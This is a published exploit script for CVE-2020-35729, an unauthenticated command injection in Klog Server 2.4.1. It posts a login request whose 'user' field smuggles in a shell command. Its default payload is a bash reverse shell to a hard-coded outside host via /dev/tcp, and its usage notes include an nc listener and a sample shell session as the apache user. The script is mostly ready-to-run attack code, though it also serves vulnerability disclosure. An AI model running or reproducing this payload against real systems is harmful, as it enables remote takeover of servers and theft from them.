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# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated) # Date: 22.12.2020 # Exploit Author: b3kc4t (Mustafa GUNDOGDU) # Vendor Homepage: https://www.klogserver.com/ # Version: 2.4.1 # Tested On: Ubuntu 18.04 # CVE: 2020-35729 # Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER """ ~ VULNERABILITY DETAILS ~ # The Klog Server runs the injected os commands on the server , causing os command injection vulnerability. # The following python code will inject os command payload and can be relaized reverse shell connection.And you can be added payload except the default payload plugin. ##USAGE## $sudo nc -nlvp 98 $sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\"" ##OUTPUT## bash-4.2$whoami apache bash-4.2$ """ import requests import argparse from colorama import Fore, Back, Style, init def main(): desc = "KLOG SERVER 2.4.1 EXPLOIT" parser = argparse.ArgumentParser(description=desc) option = parser.add_argument_group('[*]OPTIONS[*]') parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False) parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD[*]", type=str,required=False) parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true") args = parser.parse_args() if args.exploit: if args.url: url = args.url if args.payload: payload = args.payload target_send_config(url, payload) #default bash reverse shell payload else: payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\"" target_send_config(url, payload) else: #default url (klog server init ip address) url = "https://10.10.56.51:443/actions/authenticate.php" if args.payload: payload = args.payload target_send_config(url, payload) else: payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\"" target_send_config(url, payload) def target_send_config(url, payload): headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"} #injection place data = {"user": payload, "pswd": "test"} try: #post method send requests.post(url, headers=headers, data=data, verify=False) print(" ") print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]") except: print(Fore.RED+"[-] EXPLOIT FAILED [-]") if __name__ == '__main__': main() |
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